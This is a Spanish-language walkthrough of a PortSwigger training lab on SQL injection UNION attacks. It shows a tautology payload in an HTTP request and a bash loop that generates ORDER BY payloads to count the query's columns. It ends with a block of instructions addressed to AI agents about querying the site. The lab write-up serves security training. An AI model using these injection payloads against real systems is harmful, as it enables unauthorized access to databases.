# Lab: SQL injection UNION attack, determining the number of columns returned by the query

## Información del laboratorio

<https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns>

En este laboratorio hay una vulnerabilidad de inyección SQL en el filtro de la categoría del producto.

Cuando el usuario selecciona una categoría, la aplicación realiza una consulta SQL como la siguiente:

```sql
SELECT * FROM products WHERE category = 'Accessories' AND released = 1
```

Esta vulnerabilidad es similar a la que se encontraba en el laboratorio:  [lab-sql-injection-vulnerability-in-where-clause-allowing-retrieval-of-hidden-data](https://www.xtormin.com/labs/portswigger-academy/sql-injection/lab-sql-injection-vulnerability-in-where-clause-allowing-retrieval-of-hidden-data "mention")

## Flujo de explotación

### Identificación del parámetro vulnerable

Para verificar que es vulnerable, se usa un payload con un operador lógico, por ejemplo: `'or'1337'='1337`

Como se puede observar, al enviar el payload se obtienen todos los elementos de la tabla `products`:

{% code overflow="wrap" %}

```http
GET /filter?category=Pets'or'1337'='1337 HTTP/2
Host: 0a33005e046e774b804776cd00ee008c.web-security-academy.net
Cookie: session=JdW0wVijoRTho0w2adcAoR29ObxXTZac
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Referer: https://0a33005e046e774b804776cd00ee008c.web-security-academy.net/filter?category=Corporate+gifts
```

{% endcode %}

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FQfK8Azluj50JpyIpRXlR%2Fimage.png?alt=media&#x26;token=667bdafc-6e8b-4539-ad4a-198c3e638e8a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2Fb1szIulKnpeEP1lxQ39v%2Fimage.png?alt=media&#x26;token=aff42d77-fe48-40f2-aa30-5306c21f7ba8" alt=""><figcaption></figcaption></figure>

### Obtener el número de columnas de la tabla

Para poder extraer información de la base de datos, antes hay que conocer el número de columnas y luego será necesario insertar los datos de salida coincidentes con el tipo de dato de su columna respectiva.

Se puede realizar de forma manual enviando el payload hasta obtener un error o se puede automatizar con intruder:

1. Añadir el punto de inserción del payload en la petición:

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FlCg0dloN19QN1kCcQz9x%2Fimage.png?alt=media&#x26;token=b9e89241-f59c-44cf-b405-03efc449ce41" alt=""><figcaption></figcaption></figure>

2. Generar la lista de payloads e pegarla en intruder:

```bash
for i in {1..20}; do echo "' ORDER BY "$i"--"; done
```

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2Fy07ZsjcxuFsrax5eyohM%2Fimage.png?alt=media&#x26;token=b4de7d00-2f38-4ade-8fc8-7667fdfa0cbe" alt=""><figcaption></figcaption></figure>

3. Ejecutar el ataque y analizar la respuesta. Como se puede observar, a partir de la columna 4 genera un error en la base de datos, por lo tanto, el <mark style="color:$success;">**número de columnas**</mark> de la tabla será <mark style="color:$success;">**3**</mark>.

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2F9xRUZeKAY9xUASJDh5td%2Fimage.png?alt=media&#x26;token=7bff2e60-9d32-4d95-b6d2-106fa4277f42" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.xtormin.com/labs/portswigger-academy/sql-injection/lab-sql-injection-union-attack-determining-the-number-of-columns-returned-by-the-query.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
